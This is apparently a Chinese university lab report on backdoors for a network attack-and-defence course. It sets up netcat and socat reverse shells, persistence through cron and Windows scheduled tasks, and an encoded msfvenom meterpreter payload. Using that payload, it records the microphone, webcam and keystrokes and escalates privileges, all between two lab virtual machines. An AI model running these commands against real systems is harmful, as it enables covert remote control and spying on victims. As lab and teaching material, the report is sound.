目录
1.例举你能想到的一个后门进入到你系统中的可能方式?
2.例举你知道的后门如何启动起来(win及linux)的方式?
3.Meterpreter有哪些给你映像深刻的功能?
4.如何发现自己有系统有没有被安装后门?
Windows:使用ipconfig
指令查看本机IP:192.168.19.128
使用ncat.exe程序监听本机的
5230端口:ncat.exe -l -p 5230
Kali:使用nc指令的-e选项反向连接Windows主机的5230端口:ncat 192.168.19.128 5230 -e /bin/sh
Windows下成功运行Kali的shell,运行ls指令如下:
Kali:ifconfig
查看IP:
192.168.19.129
Kali使用nc指令监听5230端口:nc -l -p 5230
Windows:使用ncat.exe程序的-e
选项项反向连接Kali主机的5230端口:ncat.exe -e cmd.exe 192.168.19.128 5230
Kali:运行Windows的cmd shell 并输入命令执行:
Windows下监听5230
端口:ncat.exe -l 5230
Kali下连接到Windows的`5230
端口:nc 192.168.19.128 5230
建立之后进行文字传输,后面会说道用来传输后门:
Windows下监听5230
端口,把收到的数据保存到file1.out
中:ncat.exe -l 5230 > file1.out
Kali下先创建file1.in文件,再反弹连接到Windows的`5230
端口:nc 192.168.19.128 5230 < file1.in
传输成功
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件
socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。先在Windows
系统下,监听`5230
端口:
在Kali环境下,使用man cron
指令查看crontab
命令的帮助文档:
crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab
文件中,以供之后读取和执行。
用crontab -e
指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:
在最后一行添加37 * * * * /bin/netcat 192.168.19.129 5230 -e /bin/sh
,意思是在每个小时的第37分钟反向连接Windows主机的5230端口
,设置成37的原因是我当时的时间是17:36(这样过一会就能看到连接效果了)
当时间到了17:37时,此时已经获得了Kali的shell,可以输入指令
在Windows系统下,打开控制面板下搜索任务计划就可以开始创建任务
点击触发器
选项卡,选择新建
,然后将开始任务设置为工作站锁定时
点击常规
选项卡,输入名称(学号):
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5230 exec:cmd.exe,pty,stderr
(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口5230,同时把cmd.exe的stderr重定向到stdout上:
创建完成之后,可以windows+L
锁定计算机让它执行。
此时,在Kali环境下输入指令socat - tcp:192.168.19.129:5230
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5230端口,此时可以发现已经成功获得了一个cmd shell
:
在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=5239 -f exe > 20155230_backdoor.exe
注意这里的IP地址为控制端IP,即LinuxIP,生成后门程序:
在Windows下执行ncat.exe -l 5230 > 20165230_backdoor.exe
,这样被控主机就进入了接收文件模式
在kali中通过nc 192.168.19.129 5230 < 20165230_backdoor.exe
将生成的后门程序传送到Windows
主机上.注意这里的IP为被控主机IP,即WindowsIP
传送接收文件成功
在Kali上使用msfconsole
指令进入msf控制台,
使用监听模块,设置payload,设置反弹回连的IP和端口:
use exploit/multi/handler 使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.19.129,这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5230,同样要使用相同的端口
设置完成后,执行监听exploit
:
双击打开Windows上的后门程序
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:
使用record_mic
指令截获一段音频:
使用webcam_snap
指令可以使用摄像头进行拍照:
使用webcam stream
指令可以使用摄像头进行录像:
使用screenshot
指令可以进行截屏:
在kali中使用keyscan_start
指令开始,在windows中记录下击键的过程,使用keyscan_dump
指令读取击键的记录:
先使用getuid
指令查看当前用户,使用getsystem
指令进行提权,如图所示,提权成功:
做实验的两台虚拟机之间不能互相ping通,提示network is unreachable
解决方法:将两台虚拟机都关机,然后将网络配置为NAT模式,注意!不能挂起进行配置!否则将不成功!!实验中kali虚拟机和windows虚拟机是在NAT网络下实现交互的,
有点奇怪的是kali虚拟机在NAT网络模式下没法上网,只有把改为桥接模式才行,
而windows虚拟机在桥接模式下又不能上网了,这就很气人了。
virtualbox的网络地址转换NAT模式和NAT网络模式是两个不同的模式,
诡异的是在NAT模式下,kali虚拟机和windows虚拟机自动分配的地址都是一样的,手工配置IP地址还是会有问题,ping肯定是ping不通的。
最后还是用的NAT网络模式,两个虚拟机的IP地址会不一样。
kali虚拟机没法上网无所谓了,只要能跟windows虚拟机连上就行了,两个计算机的文件传输用netcat实现。
在进行webcam_snap
时提示错误
解决方法:windows系统里没有摄像头设备,那我们就把摄像头的USB连接切到win7上面来,因为摄像头这种USB设备不可能虚拟机和本机一起使用。在虚拟机->可移动设备->最后一个选项里选择连接主机即可解决
2018-2019-2 网络对抗技术 20165230 Exp2 后门原理与实践
原文:https://www.cnblogs.com/tiankunye/p/10574880.html